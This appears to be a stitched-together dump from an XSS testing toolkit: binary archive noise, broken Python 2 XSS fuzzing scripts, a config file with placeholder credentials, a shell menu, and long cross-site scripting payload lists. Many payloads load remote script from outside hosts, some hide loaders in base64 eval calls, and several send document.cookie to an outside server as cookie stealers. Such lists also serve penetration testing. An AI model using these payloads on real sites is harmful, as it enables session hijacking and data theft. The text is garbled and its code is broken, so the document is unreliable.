\"\u003d?\u0026#","Grep":["\u003c/INJECTX\u003e(1)","\"\u003e\u003c/INJECTX\u003e(1)\u003e"],"PayloadResponse":false,"NotResponse":false,"NotCookie":true,"CaseSensitive":false,"ExcludeHTTP":true,"OnlyHTTP":false,"IsContentType":false,"ContentType":"","NegativeCT":false,"IsResponseCode":true,"ResponseCode":"200","NegativeRC":false,"MatchType":1,"RedirType":4,"MaxRedir":5,"rCookies":false,"spaceEncode":false,"payloadPosition":1,"sEncode":"","payloadsFile":"","grepsFile":"","IssueName":"XSS","IssueSeverity":"High","IssueConfidence":"Certain","IssueDetail":"XSS","RemediationDetail":"XSS","IssueBackground":"XSS","RemediationBackground":"XSS"}]PK 1ZzG intruderX]o6&mv谇0'l9Mu !K5].qeC^dȢFR3`lb?i^jч
hsi !%g
I+L.)֗K喀TPܨJkR> I_D(LZ3qGĠ"L` izL:E <n귟 [;<~?׀4z<h4M孉 <^߮A̓߅Tp4cg ON;g?|˯[w =:AgśbQF.B%nks[h
T1U;ڦY}`r>N%˚v]:kS,~"GR&
tWԱ
jJt^Q$ o )SsG~8 r/t$|0duK$YpW^#IaD%䁉<F&&*4DHV d,n&q 4*ݒA$HEfIlՃ):11n"A#!|D3%5oDz
~6a.LİK<)G\1WdJ)Qqs cʅ`Ta D{^a<Ψt˝3π9kc>ŚI.y d$Wcʒ
5>#\{XYm sU=A`ʘjCjOck5}NhJ|yBܛ *0՝Q| FTږ{ݙ(W!vtfr~|L<W MacF;CƏ'Fazy`= *9}Seox0ph>T67 *͉in
l%81<Jt]UX/0|Yo,{CSֆ]Sۃ-U#RLZ-M)˩, YJ >N<7ϲ
[
%~vtmr@$@ SV .nqhv떤 Oˢnid(3(?lZ SrAZM']q+O/XөEݣ]Q% Ŝ ,J.ƮlP!PK }T{ Z PK 1ZzG }T{ Z intruderPK 6 PK EH intruderWmo6ߒ&Mu谯ɊXqv)iRgMۚ"E5 %=jo
HxdȤ"rC $<2L L`+J`wZg{v&Nf :xCOZ-yZ
qG8C%`דfLF3-An_3q|sxyl ݍrq± ?=>6 D"C* ݟ? '~sv~qywwv}컽?= ><:F
UlXpƵi5Py \CVg͌}&= 4,Դ[X5_W ɩ0.v)CTY1--L DyfrR۠GnKrK ʛ*bTE(y`iu 7y ̋iI$HdnIWi <- 7yߗ"YH:bR('; i-D1yS*gJ!Jx<XŤ՞CSOU^ `xqvEҀ\v0s|z9ǚY$NUF1̔E.wF>g2T8[gyn띙
]?A`ʙ:ǡH$6h]L|yXZ! N-0<)H[[⳩_
/sbS/-n_MM]AZ<|x< OK -ب>4C|D sPevmʋaG3Ik!I!<+uǦk w/^[ $֮Yzm[ 0ɬգm\iik.JF `cb9c(Sj e|5{26KeGAY~T3A~/t ͏njnAڴ$6怎ʴ wIoZqzoZpe!
pKAŚslooi+L9iPg:Etv0ciHuOte ݛ[.Xo煊QصmHg7PK(JB PK EH(JB intruderPK 6 x #!/usr/bin/env python
# Imports
import sys, re, urllib2, urlparse, json, time, httplib,cookielib,urllib
from threadpool import *
# Config
DEBUG = True
MAX_THREAD_COUNT = 10
SITES_FILENAME = 'sites'
PAYLOADS_FILENAME = 'get_payload'
SCHEME_DELIMITER = '://'
#XSS_RESPONSE = "alert('XSS')"
cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
intt=0
# -------------------------------------
def attack(url, payload):
t_start = time.time()
print "..."
return_dict = dict()
return_dict['url'] = url
#return_dict['url_data'] = data
return_dict['vulnerability'] = False
#post_url='http://test.com' # the url in which XSS test needs to be done and it is different from url where we posted params
try:
return_dict['method'] = 'GET'
XSS_RESPONSE=payload
#print "payload--->", payload
attack= urllib2.urlopen(url).read()
#print "\nURL being hit :", url
index = attack.find(XSS_RESPONSE)
buffer = 20
print_url=url.replace("<","<")
attack = attack.split("\n");
len(attack)
#print "\nurl->\n",url
if index != -1:
return_dict[' vulnerability'] = True
print "\nThis url seems vulnerable\n\n",print_url
return_dict['vulnerability_data'] = line.strip()
#print "payload found\n", attack[index-buffer:index+len(XSS_RESPONSE)+buffer]
intt=intt+1
print intt
# break
#print "here"
t_end = time.time()
return_dict['time'] = round((t_end - t_start), 2)
except KeyboardInterrupt, ke:
sys.exit(0)
except Exception, e:
return_dict['exception'] = str(e)
if __name__ == '__main__':
# Init
t_global_start = time.time()
sites_file = open(SITES_FILENAME)
payloads_file = open(PAYLOADS_FILENAME)
threadpool = ThreadPool(MAX_THREAD_COUNT)
# Load SITES and PAYLOADS files
sites = []
input = str(raw_input("\nEnter the URLS you want to test\n"))
sites = input
print "\nWorking..."
payloads = []
for payload in payloads_file:
payloads.append(payload[:-1])
# Loop through sites
# Extract Base URL and Parameters from site
parse_url = urlparse.urlparse(sites)
base_url = '%s%s%s%s' % (parse_url.scheme, SCHEME_DELIMITER, parse_url.netloc, parse_url.path)
#print base_url
param_parse_list = urlparse.urlparse(sites)[4].split('&')
param_dict = dict()
for param_parse_entry in param_parse_list:
tmp = param_parse_entry.split('=')
param_dict[tmp[0]] = tmp[1]
# Loop through payloads
for payload in payloads:
# Loop through parameters
#print payload
for k1, v1 in iter(sorted(param_dict.iteritems())):
# Build GET param string and POST param dict
get_params = ''
post_params = dict()
for k2, v2 in iter(sorted(param_dict.iteritems())):
if k1 == k2:
get_params += '%s=%s&' % (k2, payload)
post_params[k2] = payload
else:
get_params += '%s=%s&' % (k2, v2)
post_params[k2] = v2
get_params = get_params[:-1]
#print get_params
# Enqueue GET attack
get_attack_url = '%s?%s' % (base_url, get_params)
threadpool.enqueue(attack, get_attack_url, payload)
#attack(get_attack_url, payload)
# Wait for threadpool
threadpool.wait()
# Exit
t_global_end = time.time()
#if DEBUG:
#print "int->",int
if(intt == 0):
print "\n\tNothing Found! \n"
print 'Time taken : %.2f seconds' % (t_global_end - t_global_start)
#!/usr/bin/env python
import sys, re, urllib2, json, time, cookielib, urllib
from datetime import datetime
from copy import deepcopy
from cfghlp import ConfigHelper
CONFIG_FILE = 'xss.cfg'
config = None
# Vars
protocol_secure = 'https://'
protocol_nonsecure = 'http://'
def debug(message):
if config.get('display', 'debug').lower() == 'true':
print message
def jsonPrint(json_dict):
if config.get('display', 'json_pretty_print').lower() == 'true':
print json.dumps(json_dict, sort_keys=True, indent=4)
else:
print json.dumps(json_dict, sort_keys=True)
def submit(opener, submit_dict):
request_mode = None
request_url = None
request_params = None
response_mode = None
response_url = None
response_params = None
if 'request' in submit_dict:
request_protocol = None
if submit_dict['request'].has_key('use_ssl') and submit_dict['request']['use_ssl'].lower() == 'true':
request_protocol = protocol_secure
else:
request_protocol = protocol_nonsecure
request_mode = submit_dict['request']['mode']
request_url = request_protocol + config.get('general', 'base_url') + submit_dict['request']['url']
request_params = submit_dict['request']['params']
if 'response' in submit_dict:
response_protocol = None
if submit_dict['response'].has_key('use_ssl') and submit_dict['response']['use_ssl'].lower() == 'true':
response_protocol = protocol_secure
response_protocol = protocol_nonsecure
response_mode = submit_dict['response']['mode']
response_url = response_protocol + config.get('general', 'base_url') + submit_dict['response']['url']
response_params = submit_dict['response']['params']
return_dict = {}
return_dict['request'] = {'url': request_url, 'mode': request_mode, 'params': request_params}
if response_url and response_url != request_url:
return_dict['request_read'] = {'url': response_url, 'mode': response_mode, 'params': response_params}
# Submit Request
[submit_url, submit_params] = buildRequest(request_mode, request_url, request_params)
check_url=submit_url+'?'+submit_params
#print "\nscript url\n",check_url
response = opener.open(check_url)
#print response.read()
# If Response URL is specified, Submit Response
if response_url and response_url != request_url:
[submit_url, submit_params] = buildRequest(response_mode, response_url, response_params)
response = opener.open(submit_url, submit_params)
if response_url != response.geturl():
return_dict['request_read']['redirect_url'] = response.geturl()
# Read Response
return_dict['response'] = response.readlines()
except KeyboardInterrupt:
finally:
return_dict['time'] = round((t_end - t_start), 5)
return_dict['timestamp'] = datetime.now().isoformat(' ')
return return_dict
#--------------------------------------
def buildRequest(mode, url, data):
if mode == 'GET':
get_url = '%s?' % (url)
for k, v in data.iteritems():
get_url += '%s=%s&' % (k, v)
if get_url[-1] in ['?', '&']:
get_url = get_url[:-1]
return [get_url, None]
elif mode == 'POST':
return [url, urllib.urlencode(data)]
return [None, None]
def login(openers):
response_protocol="http://"
resp_url=response_protocol + config.get('general','base_url') + config.get('login','fk_url')
resp=openers['loggedin'].open(resp_url)
#print "fk_url ",resp_url
page=resp.read()
__FK = page[page.find("__FK"):].split("\"",4)[2] #for finding FK value
email=config.get('login', 'login_email')
password=config.get('login', 'login_password')
opener = openers['loggedin']
url=response_protocol+config.get('general', 'base_url') + config.get('login', 'login_url')
login_dict = {'request': {'mode': 'POST', 'url': url, 'use_ssl': 'false',
'params': {'__FK': __FK,
'email':email,
'password': password}}}
request_mode = login_dict['request']['mode']
request_url = login_dict['request']['url']
request_params = login_dict['request']['params']
[submit_url, submit_params] = buildRequest(request_mode, request_url, request_params)
response = opener.open(submit_url,submit_params)
return_dict['response'] = response.readlines()
submit_response=return_dict
submit_response['response'] = json.loads(submit_response['response'][0])
if submit_response['response']['status'].lower() != 'ok':
jsonPrint(submit_response)
print "\nYou are now logged in \n"
def attack(site_dict, openers):
# Submit request and get response
submit_response = submit(opener, site_dict)
#print "\nsubmit_response\n",submit_response
# Select response (in sites or default)
expected_xss_responses = "alert('XSS')"
#print "expected_xss_responses",expected_xss_responses
# Build vulnerability dict
#vulnerability_dict = deepcopy(submit_response)
#print "\nvulnerability_dic",vulnerability_dic
vulnerability_dict['expected_xss_responses'] = expected_xss_responses
vulnerability_dict['vulnerability'] = []
#print "vulnerability_dict['response']",vulnerability_dict
# Loop through response and search for vulnerabilities
if vulnerability_dict.has_key('response'):
a=1
print "a=====",a
del(vulnerability_dict['response'])
#print "submit_response['response']---",submit_response['response']
for line_number, line in enumerate(submit_response['response']):
for expected_xss_response in expected_xss_responses:
if re.search(expected_xss_response.upper(), line.upper()):
vulnerability_dict['vulnerability'].append({'line_number': line_number, 'line': line.strip()})
# Output
if config.get('display', 'only_show_vulnerable').lower() == 'false' or len(vulnerability_dict['vulnerability']) > 0:
jsonPrint(vulnerability_dict)
intt=1
print "...."
def attackSequence(sites, payloads, openers):
threadpool = ThreadPool(int(config.get('general', 'max_thread_count')))
opener=openers['loggedin']
for site in sites:
site_dict = json.loads(site)
#print "\n-------->",site_dict
fk_url=site_dict['request']['fk_url'] #not response url instead fkurl changes need to be made
#print "\nfk_url-->",fk_url
resp=opener.open(fk_url)
page=resp.read()
__FK = page[page.find("__FK"):].split("\"",4)[2] #for finding FK value
#print __FK
__FK = urllib.quote_plus(__FK)
#print "\n__FK ",__FK
print "\nWorking...."
for payload in payloads:
for param_k in sorted(site_dict['request']['params'].iterkeys()):
attack_dict = deepcopy(site_dict)
attack_dict['request']['params']['__FK'] =__FK
#print "\n ------------->",attack_dict
attack_dict['request']['params'][param_k] = payload
threadpool.enqueue(attack, attack_dict, openers)
#print "sites -------->\n",sites
# Parse Config
config = ConfigHelper(CONFIG_FILE, False)
debug('Initializing script ...')
sites_file = open(config.get('files', 'sites_file'))
for site in sites_file:
site = site[:-1].strip()
if site[0] != '#':
sites.append(site)
payloads_file = open(config.get('files', 'payloads_file'))
payload = payload[:-1].strip()
if payload[0] != '#':
payloads.append(payload[:-1])
# Create Openers
openers = dict()
print "\nYou are being logged into Test.com make sure you enter testbed urls (else changed config file)\n"
debug('Creating guest session ...')
openers['guest'] = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))
debug('Creating logged in session ...')
openers['loggedin'] = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))
login(openers)
#take_input()
# Loop through SITES file
debug('\nStarting attack sequence ...')
attackSequence(sites, payloads, openers)
if (intt=='0'):
print "\nNo Vulnerabilities found\n"
debug('Time taken : %.2f seconds' % (t_global_end - t_global_start))__author__ = 'mohd.siddiqui'
#XSS_RESPONSE="alert('XSS')"
response_protocol="https://"
resp_url=response_protocol + config.get('general','base_url') + config.get('login','formkey_url')
form_key=config.get('general','form_key') #define the form key paramter name within quotes
__FK = page[page.find(form_key):].split("\"",4)[2] #for finding FK value
login_dict = {'request': {'mode': 'POST', 'url': url, 'use_ssl': 'true',
'params': {form_key: __FK,
#print submit_params
#print return_dict['response']
def attack(site_dict, good_dict ,openers):
vulnerability_dict={}
#vulnerability_dict=deepcopy(site_dict)
[g_submit_url, g_submit_params] = buildRequest(good_dict['request']['mode'],good_dict['request']['post_url'],good_dict['request']['params'])
opener.open(g_submit_url,g_submit_params)
request_mode = site_dict['request']['mode']
request_url = site_dict['request']['post_url']
request_params = site_dict['request']['params']
#vulnerability_dict['url']=site_dict['response']['url']
vulnerability_dict['params']=request_params
return_dict['request'] = {'post_url': request_url, 'mode': request_mode, 'params': request_params}
#print response.read()
#print "attcked url",submit_url+'?'+submit_params
response=opener.open(site_dict['response']['url'])
#good_url=buildRequest(
#jsonPrint(site_dict)
#print "----------opening response url------------"
attack=response.read()
#print attack
XSS=site_dict['response']['xss_response']
#print "\n\nPayload being used is :",XSS
buf=3
xs=len(XSS)
#print "good_dict['response']['xss_response']",good_dict['response']['xss_response']
XSS_RESPONSE=site_dict['response']['xss_response']
#print XSS_RESPONSE
# file = open("test.txt","a")
# file.write(attack);
# file.close()
index = attack.find(XSS_RESPONSE)
buffer = 20
attack = attack.split("\n");
#print len(attack)
#print "\nindex", index
#print "\nurl->\n",url
#print "len(vulnerability_dict['vulnerability'])",len(vulnerability_dict['vulnerability'])
if index != -1:
vulnerability_dict['vulnerability'] = True
# else:
# print str(index) + "not vulnerable"
#output={}
#output['param']
#Output
if config.get('display', 'only_show_vulnerable').lower() == 'false' or vulnerability_dict['vulnerability'] ==True or index != -1:
print "\n===================================================================================="
print "Vulnerability found (Please check the parameters below) :"
print "\n\nPayload being used is :",XSS
#print "\n\nPage is being searched for this much xss string :",XSS_RESPONSE
i=0
form_key=config.get('general','form_key')
__FK = page[page.find(form_key):].split("\"",4)[2] #for finding FormKey value
#print len(payloads)
good_dict=deepcopy(site_dict)
#print payload
#print param_k
attack_dict['response']['xss_response']=payload
attack_dict['request']['params'][form_key] =__FK
# print i
# i+=1
#jsonPrint(attack_dict)
#print attack_dict['response']['xss_response']
threadpool.enqueue(attack, attack_dict,good_dict, openers)
# for payload in payloads_file:
# payload = payload[:-1].strip()
# if payload[0] != '#':
# payloads.append(payload[:-1])
payloads.append(payload[:-1])
# print "\nYou are being logged into \"%s\" ,testing can only be performed on this domain\n" % config.get('general','base_url')
# input=str(raw_input("\nAre you sure you want to continue ? Y/N\t"))
#if input=='Y' or input =='y':
debug('Time taken : %.2f seconds' % (t_global_end - t_global_start))
[general]
base_url=site.com
expected_xss_responses=__XSS__,##XSS##
form_key=
max_thread_count=1
[files]
sites_file=sites
get_sites_file=get_sites
payloads_file=payloads
[login]
login_email=zx@zx.com
login_password=zx
login_url=/account/a_login
formkey_url=/account/login
[display]
debug=true
json_pretty_print=true
only_show_vulnerable=true
#!/bin/sh
filename="sites";
echo '\n\n What do you want to test ?'
echo '\n1. GET urls (URLs were params are in url )\n'
echo '2. POST urls ()\n'
echo ' Your Choice'
read test
if [ $test -eq '2' ]
then
size=$(ls -l $filename | awk '{ print $5 }')
#echo $size
if [ $size -gt '0' ]
then
echo '\nThere is already some URL to test in "sites" file \n1.Do you want to test them \n2. Do you want to test a new URL ?\n'
read input
if [ $input -eq '1' ]
then
python check_domain.py
a=$?
if [ $a -eq '1' ]
then
python post_xss.py
else
#python cli_param.py
exit 1
fi
elif [ $input -eq '2' ]
#echo 'Do you want to enter parameters in CLI mode or want to edit '
echo '\n\nRunning the configuration file and removing the previous content copying all your previous content to old_sites file'
cat sites>>old_sites
> sites
python cli_param.py
#python post_xss.py
#exit 1
else
echo '\n Wrong Input'
fi
elif [ $size -eq '0' ]
echo 'Running the configuration file as there is nothing to test '
python check_domain.py
python cli_param.py
#python test_xss.py
fi
elif [ $test -eq '1' ]
python get_xss.py
exit 1
else
echo '\nWrong input re-run the script\n'
fi
python post_xss.py"><script>"
"><script src=https://zero.xss.ht></script>
javascript:eval('var a=document.createElement(\'script\');a.src=\'https://zero.xss.ht\';document.body.appendChild(a)')
"><input onfocus=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vemVyby54c3MuaHQiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 autofocus>
"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vemVyby54c3MuaHQiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 onerror=eval(atob(this.id))>
"><video><source onerror=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vemVyby54c3MuaHQiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7>
"><iframe srcdoc="<script>var a=parent.document.createElement("script");a.src="https://zero.xss.ht";parent.document.body.appendChild(a);</script>">
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//zero.xss.ht");a.send();</script>
<script>$.getScript("//zero.xss.ht")</script>
<script/	 src='http://0r.pe' /	></script>
<svg><script xlink:href=data:,window.open('https://blog.zsec.uk/')></script
"><script src="http://canarytokens.com/articles/static/z3vly69a1lhdgqglhnpi90bc3/post.jsp"> </SCRipt>
"><img src=x onerror=window.open('https://blog.zsec.uk/');>
<img src=a onerror=alert('1')>
"<img src=a onerror=alert('1')>
"<img src="javascript:alert('1');>
<~/XSS/*-*/Style=xss:e/**/xpression(alert('XSS'))>
">"><script>alert(1)</script>
">"><IMG SRC=""onerror="alert('XSS')"a=".jpg">
">"><IMG SRC=""onerror="alert('XSS')"">
';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
"<SCRIPT/XSS SRC=""https://zero.xss.ht""></SCRIPT>"
"<SCRIPT/SRC=""https://zero.xss.ht""></SCRIPT>"
<SCRIPT SRC=https://zero.xss.ht?<B>
"<!--#exec cmd=""/bin/echo '<SCR'""--><!--#exec cmd=""/bin/echo 'IPT SRC=https://zero.xss.ht></SCRIPT>'""-->"
"<SCRIPT a="">"" SRC=""https://zero.xss.ht""></SCRIPT>"
"<SCRIPT ="">"" SRC=""https://zero.xss.ht""></SCRIPT>"
"<SCRIPT a="">"" '' SRC=""https://zero.xss.ht""></SCRIPT>"
"<SCRIPT ""a='>'"" SRC=""https://zero.xss.ht""></SCRIPT>"
"<SCRIPT a=`>` SRC=""https://zero.xss.ht""></SCRIPT>"
"<SCRIPT a="">'>"" SRC=""https://zero.xss.ht""></SCRIPT>"
"<SCRIPT>document.write(""<SCRI"");</SCRIPT>PT SRC=""https://zero.xss.ht""></SCRIPT>"
"<A HREF=""http://blog.zsec.uk/"">XSS</A>"
"<A HREF=""//blog.zsec.uk/"">XSS</A>"
"<A HREF=""http://blog.zsec.uk./"">XSS</A>"
"<A HREF=""javascript:document.location='http://blog.zsec.uk/'"">XSS</A>"
"<A HREF=""http://www.gohttp://blog.zsec.uk/ogle.com/"">XSS</A>"
"<IMG%20SRC=""jav ascript:alert('WXSS');"">"
'';!--<XSS>=&{()}"
';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode<script>alert('xss')</script>
<DIV STYLE="width: expression(alert('XSS'));"><!-- Project Name : Cross Site Scripting ( XSS ) Vulnerability Payload List -->
<!-- Author : Ismail Tasdelen -->
<!-- Linkedin : https://www.linkedin.com/in/ismailtasdelen/ -->
<!-- GitHub : https://github.com/ismailtasdelen/ -->
<!-- Twitter : https://twitter.com/ismailtsdln -->
<!-- Medium : https://medium.com/@ismailtasdelen -->
with(document)getElementsByTagName('head')[0].appendChild(createElement('script')).src='//ŋ.ws'
&artistName=and%20courtesy%20of%20Apple%3C/strong%3E%3F%3Ciframe%20src%3D%22http%3A//www.reddit.com/r/xss/new/%22%20width%3D%22643%22%20height%3D%22239%22%20frameborder%3D%220%22%3E%3C/iframe%3E%3Cbr/%3EGood%20job,%20Apple&thumbnailUrl=http%3A//www.fireblog.com/wp-content/uploads/2009/04/xss-threat3.jpg&albumName=XSS%20Exploits
</script>"><script>prompt(1)</script>
</ScRiPt>"><ScRiPt>prompt(1)</ScRiPt>
"><iframe/src=javascript:prompt(1)>
"><h1 onclick=prompt(1)>Clickme</h1>
"><a href=javascript:prompt(1)>Clickme</a>
"><a href="javascript:confirm%28 1%29">Clickme</a>
"><a href="data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+">click</a>
"><textarea autofocus onfocus=prompt(1)>
"><a/href=javascript:co\u006efir\u006d("1")>clickme</a>
"><script>co\u006efir\u006d`1`</script>
"><ScRiPt>co\u006efir\u006d`1`</ScRiPt>
"><img src=x onerror=co\u006efir\u006d`1`>
"><svg/onload=co\u006efir\u006d`1`>
"><iframe/src=javascript:co\u006efir\u006d%28 1%29>
"><h1 onclick=co\u006efir\u006d(1)>Clickme</h1>
"><a href=javascript:prompt%28 1%29>Clickme</a>
"><a href="javascript:co\u006efir\u006d%28 1%29">Clickme</a>
"><textarea autofocus onfocus=co\u006efir\u006d(1)>
"><details/ontoggle=co\u006efir\u006d`1`>clickmeonchrome
"><p/id=1%0Aonmousemove%0A=%0Aconfirm`1`>hoveme
"><img/src=x%0Aonerror=prompt`1`>
"><iframe srcdoc="<img src=x:x onerror=alert(1)>">
"><h1/ondrag=co\u006efir\u006d`1`)>DragMe</h1>
"'`>ABC<div style="font-family:'foo'\x7Dx:expression(javascript:alert(1);/*';">DEF
"'`>ABC<div style="font-family:'foo'\x3Bx:expression(javascript:alert(1);/*';">DEF
<img/src=`` onerror=this.onerror=confirm(1)
<a href="data:text/html;blabla,<script src="http://sternefamily.net/foo.js"></script>​">Click Me</a>
RAW Paste Data
<img src=http://xerosecurity.com/.testing/xss.png>//INJECTX REMOTE
<iframe src="http://xerosecurity.com/.testing/xss_vuln.html"></iframe>//INJECTX
<script src="http://xerosecurity.com/.testing/xss.js?script_src=1"></script>//INJECTX
<img src="http://xerosecurity.com/.testing/xss.png?img_src=2"></img>//INJECTX
<iframe src="http://xerosecurity.com/.testing/iframe_injection.php?iframe_src=3" height="100%" width="100%"></iframe>//INJECTX
<img src="http://xerosecurity.com/.testing/xss.png?img_src_onerror_prompt" onerror=prompt(1) onload=prompt(2) onmouseover=prompt(3)>//INJECTX
<img src="http://xerosecurity.com/.testing/xss.png?img_src_onerror_prompt" onerror=window.location("http://135.23.158.130/.testing/xss.html");>//INJECTX
<script>location.href='http://xerosecurity.com/.testing/iframe_injection.php?'+document.cookie;</script>//INJECTX
</script><script src="http://xerosecurity.com/.testing/xss.js?script_src=1">//INJECTX
<iframe src=http://xerosecurity.com/.testing/xss_vuln.html onload=prompt(4) onmouseover=alert(5) onerror=prompt(6)><!--//*INJECTX
</textarea><iframe src=http://xerosecurity.com/.testing/xss_vuln.html onload=prompt(7) onmouseover=alert(8) onerror=prompt(9)><!--//*INJECTX
<font color=red><h1>@INJECTX<iframe src=http://xerosecurity.com/.testing/xss_vuln.html height=100% width=100% onload=prompt(10) onmouseover=alert(11) onerror=prompt(12)>
<a onclick="javascript:document.location='http://xerosecurity.com/.testing/iframe_injection.php?cookie='+document.cookie;">INJECTX COOKIE STEALER!</a>
<script>TypeError.prototype.name ='=/',0[onerror=eval]['/-alert(1)//']</script>%3Csvg%3E%3Cuse%20xlink%3Ahref%3D%22data%3Aimage%2Fsvg%2Bxml%3Bbase64%2CPHN2ZyBpZD0icmVjdGFuZ2xlIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiAgICB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCI%2BPHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg0KIDxmb3JlaWduT2JqZWN0IHdpZHRoPSIxMDAiIGhlaWdodD0iNTAiDQogICAgICAgICAgICAgICAgICAgcmVxdWlyZWRFeHRlbnNpb25zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4NCgk8ZW1iZWQgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiIHNyYz0iamF2YXNjcmlwdDphbGVydChsb2NhdGlvbikiIC8%2BDQogICAgPC9mb3JlaWduT2JqZWN0Pg0KPC9zdmc%2B%23rectangle%22%20%2F%3E%3C%2Fsvg%3E
%3Csvg%3E%3Cuse%20xlink%3Ahref%3D%22data%3Aimage%2Fsvg%2Bxml%3Bbase64%2CPHN2ZyBpZD0icmVjdGFuZ2xlIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiAgICB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCI%2BDQo8YSB4bGluazpocmVmPSJqYXZhc2NyaXB0OmFsZXJ0KGxvY2F0aW9uKSI%2BPHJlY3QgeD0iMCIgeT0iMCIgd2lkdGg9IjEwMCIgaGVpZ2h0PSIxMDAiIC8%2BPC9hPg0KPC9zdmc%2B%23rectangle%22%20%2F%3E%3C%2Fsvg%3E
<a href="data:text/html;blabla,<script src="http://sternefamily.net/foo.js"></script>​">Click Me</a><pre>
<a target=_blank href="https://vulnerabledoma.in/char_test?xss=0&body=<div onfocus=alert(1) style=display:flex id=xss>#xss">display:flex</a>
<a target=_blank href="https://vulnerabledoma.in/char_test?xss=0&body=<div onfocus=alert(1) style=display:-ms-grid id=xss>#xss">display:-ms-grid</a>
<a target=_blank href="https://vulnerabledoma.in/char_test?xss=0&body=<div onfocus=alert(1) style=display:inline-block id=xss>#xss">display:inline-block</a>
<a target=_blank href="https://vulnerabledoma.in/char_test?xss=0&body=<div onfocus=alert(1) style=display:inline-flex id=xss>#xss">display:inline-flex</a>
<a target=_blank href="https://vulnerabledoma.in/char_test?xss=0&body=<div onfocus=alert(1) style=display:-ms-inline-grid id=xss>#xss">display:-ms-inline-grid</a>
<a target=_blank href="https://vulnerabledoma.in/char_test?xss=0&body=<div onfocus=alert(1) style=display:inline-table id=xss>#xss">display:inline-table</a>
<a target=_blank href="https://vulnerabledoma.in/char_test?xss=0&body=<div onfocus=alert(1) style=display:table id=xss>#xss">display:table</a>
<a target=_blank href="https://vulnerabledoma.in/char_test?xss=0&body=<div onfocus=alert(1) style=display:table-caption id=xss>#xss">display:table-caption</a>
<a target=_blank href="https://vulnerabledoma.in/char_test?xss=0&body=<div onfocus=alert(1) style=display:table-cell id=xss>#xss">display:table-cell</a>
<a target=_blank href="https://vulnerabledoma.in/char_test?xss=0&body=<div onfocus=alert(1) style=display:table-column id=xss>#xss">display:table-column</a>
<a target=_blank href="https://vulnerabledoma.in/char_test?xss=0&body=<div onfocus=alert(1) style=display:table-column-group id=xss>#xss">display:table-column-group</a>
<a target=_blank href="https://vulnerabledoma.in/char_test?xss=0&body=<div onfocus=alert(1) style=display:table-footer-group id=xss>#xss">display:table-footer-group</a>
<a target=_blank href="https://vulnerabledoma.in/char_test?xss=0&body=<div onfocus=alert(1) style=display:table-header-group id=xss>#xss">display:table-header-group</a>
<a target=_blank href="https://vulnerabledoma.in/char_test?xss=0&body=<div onfocus=alert(1) style=display:table-row id=xss>#xss">display:table-row</a>
<a target=_blank href="https://vulnerabledoma.in/char_test?xss=0&body=<div onfocus=alert(1) style=display:table-row-group id=xss>#xss">display:table-row-group</a>
<a target=_blank href="https://vulnerabledoma.in/char_test?xss=0&body=<div onfocus=alert(1) style=float:left id=xss>#xss">float:left</a>
<a target=_blank href="https://vulnerabledoma.in/char_test?xss=0&body=<div onfocus=alert(1) style=float:right id=xss>#xss">float:right</a>
<a target=_blank href="https://vulnerabledoma.in/char_test?xss=0&body=<div onfocus=alert(1) style=overflow:auto id=xss>#xss">overflow:auto</a>
<a target=_blank href="https://vulnerabledoma.in/char_test?xss=0&body=<div onfocus=alert(1) style=overflow:hidden id=xss>#xss">overflow:hidden</a>
<a target=_blank href="https://vulnerabledoma.in/char_test?xss=0&body=<div onfocus=alert(1) style=overflow:scroll id=xss>#xss">overflow:scroll</a>
<a target=_blank href="https://vulnerabledoma.in/char_test?xss=0&body=<div onfocus=alert(1) style=overflow-x:auto id=xss>#xss">overflow-x:auto</a>
<a target=_blank href="https://vulnerabledoma.in/char_test?xss=0&body=<div onfocus=alert(1) style=overflow-x:hidden id=xss>#xss">overflow-x:hidden</a>
<a target=_blank href="https://vulnerabledoma.in/char_test?xss=0&body=<div onfocus=alert(1) style=overflow-x:scroll id=xss>#xss">overflow-x:scroll</a>
<a target=_blank href="https://vulnerabledoma.in/char_test?xss=0&body=<div onfocus=alert(1) style=overflow-y:auto id=xss>#xss">overflow-y:auto</a>
<a target=_blank href="https://vulnerabledoma.in/char_test?xss=0&body=<div onfocus=alert(1) style=overflow-y:hidden id=xss>#xss">overflow-y:hidden</a>
<a target=_blank href="https://vulnerabledoma.in/char_test?xss=0&body=<div onfocus=alert(1) style=overflow-y:scroll id=xss>#xss">overflow-y:scroll</a>
